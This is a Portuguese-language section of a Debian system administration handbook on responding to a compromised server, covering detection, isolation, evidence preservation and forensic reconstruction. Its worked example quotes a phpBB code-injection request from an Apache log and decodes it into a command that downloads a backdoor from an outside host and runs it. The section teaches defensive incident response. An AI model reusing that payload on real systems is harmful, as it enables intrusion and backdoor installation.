14.7. Lidando com uma máquina comprometida
Apesar das melhores intenções e por mais cuidadosamente concebido política da segurança, um administrador, eventualmente, enfrenta um ato de desvio. Esta seção fornece algumas orientações sobre como reagir quando confrontado com estas circunstâncias infelizes.
14.7.1. Detectando e Visualizando a Intrusão do cracker
A primeira etapa de reagir a quebra é estar ciente de tal ato. Isso não é auto-evidente, especialmente sem uma infra-estrutura adequada de vigilância.
Atos de "cracking" muitas vezes não são detectados até que eles têm consequências diretas sobre os serviços legítimos hospedados na máquina, como conexões debilitadas, alguns usuários incapazes de se conectar, ou qualquer outro tipo de avaria. Diante desses problemas, o administrador precisa dar uma boa olhada para a máquina e examinar cuidadosamente o que se comporta mal. Este é geralmente o momento em que eles descobrem um processo incomum, por exemplo, um chamado apache em vez do padrão /usr/sbin/apache2. Se seguirmos esse exemplo, a coisa a fazer é observar seu identificador de processo, e verificar /proc/pid/exe para ver qual programa está executando este processo atualmente:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Um programa instalado em /var/tmp/ e funcionando como servidor web? Sem deixar dúvida, a máquina está comprometida.
Este é apenas um exemplo, mas muitas outras dicas podem alertar o administrador:
uma opção para um comando que não funciona mais; a versão do software que o comando pretende ser não coincide com a versão que está supostamente instalada de acordo com dpkg;
um prompt de comando ou uma sessão de saudação indicando que a última conexão veio de um servidor desconhecido em outro continente;
erros causados pela partição /tmp/ estar cheia, o que acabou por estar cheio de cópias ilegais de filmes;
entre outros.
14.7.2. Colocando o servidor Off-Line
Em qualquer dos casos porém, os mais exóticos, a quebra vem da rede, e o invasor precisa de uma rede trabalhando para alcançar as suas metas (acesso a dados confidenciais, compartilhar arquivos clandestinos, ocultar a sua identidade utilizando a máquina como de um retransmissor e assim sucessivamente). Desconectar o computador da rede impedirá que o atacante alcance esses objetivos, se eles não conseguiram fazer isso ainda.
Isso só é possível se o servidor está fisicamente acessível. Quando o servidor está hospedado em uma hospedagem no centro provedor de dados do outro lado do país, ou se o servidor não está acessível por qualquer outro motivo, é geralmente uma boa ideia começar a reunir alguma informação importante (ver
Seção 14.7.3, “Mantendo Tudo que Poderia Ser Usado como Evidência”,
Seção 14.7.5, “Analise Fonrense” e
Seção 14.7.6, “Reconstituindo o Cenário do Ataque”), então isolar o servidor tanto quanto possível, fechando tantos serviços quanto possível (geralmente tudo, menos o
sshd). Este caso ainda é estranho, pois não se pode descartar a possibilidade de o atacante ter acesso SSH como o administrador tem, o que torna mais difícil "limpar" as máquinas.
14.7.3. Mantendo Tudo que Poderia Ser Usado como Evidência
Compreender o ataque e/ou ação legal contra os atacantes envolvente requer uma tomada de cópias de todos os elementos relevantes, o que inclui o conteúdo do disco rígido, uma lista de todos os processos em execução, e uma lista de todas conexões abertas. O conteúdo da memória RAM também poderia ser usado, mas é raramente utilizado na prática.
No calor da ação, os administradores são muitas vezes tentados a realizar muitas verificações na máquina comprometida; esta geralmente não é uma boa ideia. Cada comando é potencialmente subvertido e pode apagar elementos de prova. Os cheques devem ser restritas ao conjunto mínimo (netstat -tupan para conexões de rede, ps auxf para uma lista de processos, ls -alR /proc/[0-9]* para um pouco mais de informação sobre a execução de programas), e cada seleção realizada deve ser cuidadosamente anotada.
Uma vez que os elementos "dinâmicos" foram salvos, o próximo passo é armazenar uma imagem completa do disco rígido. Fazer tal imagem é impossível se o sistema ainda está executando, é por isso que deve ser remontado somente para leitura. A solução mais simples é muitas vezes parar o servidor brutalmente (após a execução de sync) e reiniciá-lo em um CD de recuperação. Cada partição deve ser copiada com uma ferramenta como o dd, estas imagens podem ser enviadas para outro servidor (possivelmente com a muito conveniente ferramenta nc). Outra possibilidade pode ser ainda mais simples: é só pegar o disco da máquina e substituí-lo por um novo que pode ser reformatado e reinstalado.
O servidor não deve ser trazido de volta em linha sem uma reinstalação completa. Se o comprometimento foi grave (se privilégios administrativos foram obtidos), não há quase nenhuma outra maneira de ter certeza de que estamos livres de tudo o que o invasor pode ter deixado para trás (particularmente backdoors). Naturalmente, todas últimas atualizações de segurança devem também ser aplicadas de modo a conectar a vulnerabilidade utilizada pelo invasor. O ideal, analisando o ataque deve apontar para este vetor de ataque, para que se possa ter certeza de efetivamente corrigi-lo, caso contrário, só se pode esperar que a vulnerabilidade foi um daqueles fixados pelas atualizações.
Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.
Agora que o serviço foi restaurado, é hora de dar uma olhada nas imagens de disco do sistema comprometido a fim de compreender o vetor de ataque. Ao montar essas imagens, deve se tomar cuidado e usar as opções ro, nodev, noexec, noatime de modo a evitar alteração dos conteúdos (incluindo marcas de tempo de acesso a arquivos) ou a execução de programas comprometidos por engano.
Refazendo um cenário de ataque geralmente envolve olhar para tudo o que foi modificado e executado:
arquivos .bash_history muitas vezes prevem uma leitura muito interessante;
o mesmo acontece listando arquivos que foram recentemente criados, modificados ou acessados;
o comando strings ajuda a identificar programas instalados pelo atacante, extraindo seqüências de texto de um binário;
os arquivos de log em /var/log/ muitas vezes permitem reconstruir uma cronologia dos eventos;
ferramentas special-purpose também permitem restaurar o conteúdo de arquivos potencialmente excluídos, incluindo arquivos de log que os atacantes muitas vezes excluíram.
Algumas dessas operações podem ser facilitadas com software especializado. Em particular, o pacote
sleuthkit fornece muitas ferramentas para analisar um sistema de arquivos. Seu uso é facilitado pela interface gráfica do
Autopsy Forensic Browser (no pacote
autopsy). Algumas distribuições do Linux têm uma imagem de instalação "live" e contêm muitos programas para análise forense, como o Kali Linux (consulte
Seção A.8, “Kali Linux”), com seu
modo forense, BlackArchLinux , e o comercial Grml-Forensic, baseado no Grml (veja em
Seção A.6, “Grml”).
14.7.6. Reconstituindo o Cenário do Ataque
Todos os elementos recolhidos durante a análise devem se encaixar como peças de um quebra-cabeça, a criação dos primeiros arquivos suspeitos é muitas vezes relacionada aos registros que comprovam a violação. A exemplo do mundo real deve ser mais explícito do que longas divagações teóricas.
O registo seguinte foi extraído de um Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Este exemplo corresponde à exploração de uma antiga vulnerabilidade de segurança no phpBB.
Decodificar esta longa URL leva ao entendimento de que o atacante conseguiu executar algum código PHP, chamado: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Na verdade, um arquivo bd foi encontrado em /tmp/. Executando strings /mnt/tmp/bd retorna, entre outros textos, PsychoPhobia Backdoor is starting... Isso realmente parece um backdoor.
Algum tempo depois, esse acesso foi usado para fazer o download, instalar e executar um bot - robô de IRC, conectado a uma rede IRC subterrânea. O robô pode então ser controlado através deste protocolo e instruído realizar download de arquivos para compartilhamento. Este programa ainda tem o seu próprio arquivo de log:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Esses registros mostram que dois arquivos de vídeo foram armazenados no servidor por meio do endereço IP 82.50.72.202.
Paralelamente, o invasor também baixou um par de arquivos extras, /tmp/pt e /tmp/loginx . A execução desses arquivos por meio de strings leva a strings como Shellcode placed at 0x%08lx e Now wait for suid shell.... Parecem programas que exploram vulnerabilidades locais para obter privilégios administrativos. Eles alcançaram seu alvo? Nesse caso, provavelmente não, uma vez que nenhum arquivo parece ter sido modificado após a violação inicial.
Neste exemplo, a intrusão toda foi reconstruída, e pode-se deduzir que o invasor foi capaz de tirar vantagem do sistema comprometido por cerca de três dias, mas o elemento mais importante na análise é que a vulnerabilidade tenha sido identificada, e o administrador pode esta certo de que a nova instalação realmente corrigiu a vulnerabilidade.
